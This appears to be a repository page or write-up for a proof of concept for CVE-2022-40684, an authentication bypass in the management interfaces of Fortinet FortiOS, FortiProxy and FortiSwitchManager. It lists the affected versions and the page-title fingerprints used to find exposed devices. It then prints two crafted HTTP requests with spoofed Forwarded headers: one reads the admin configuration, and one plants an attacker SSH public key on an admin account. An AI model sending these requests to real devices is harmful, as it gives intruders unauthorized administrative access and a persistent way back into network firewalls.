hughink/cve-2022-40684PoC and exploit for CVE-2022-40684, an authentication bypass in Fortinet FortiOS, FortiProxy, and FortiSwitchManager management interfaces, enabling unauthorized admin access via crafted HTTP requests.
Any individual or organization using the network shall abide by the Constitution and laws, observe public order, respect social morality, and shall not endanger network security, nor use the network to engage in activities that harm national security, honor, and interests.
Fortinet is a globally renowned provider of network security products and solutions, including firewalls, antivirus software, intrusion prevention systems, and endpoint security components. In the management interface of affected FortiOS, FortiProxy, and FortiSwitchManager products, authentication can be bypassed using an alternate path or channel, and unauthorized operations can be performed on the management interface via specially crafted HTTP or HTTPS requests.
High
FortiOS versions 7.2.0 - 7.2.1
FortiOS versions 7.0.0 - 7.0.6
FortiProxy version 7.2.0
FortiProxy versions 7.0.0 - 7.0.6
FortiSwitchManager version 7.2.0
FortiSwitchManager versions 7.0.0
title="FortiProxy"
title="FortiGate"
GET /api/v2/cmdb/system/admin HTTP/1.1
Host: 目标
User-Agent: Node.js
Accept-Encoding: gzip, deflate
Accept: */*
Hosts: 127.0.0.1:9980
Forwarded: by="[127.0.0.1]:80";for="[127.0.0.1]:49490";proto=http;host=
X-Forwarded-Vdom: root
PUT /api/v2/cmdb/system/admin/用户名 HTTP/2
Host: 目标
User-Agent: Report Runner
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Forwarded: for="[127.0.0.1]:8888";by="[127.0.0.1]:8888"
Content-Length: 589
Content-Type: application/json
{"ssh-public-key1": "\"公钥内容\""}
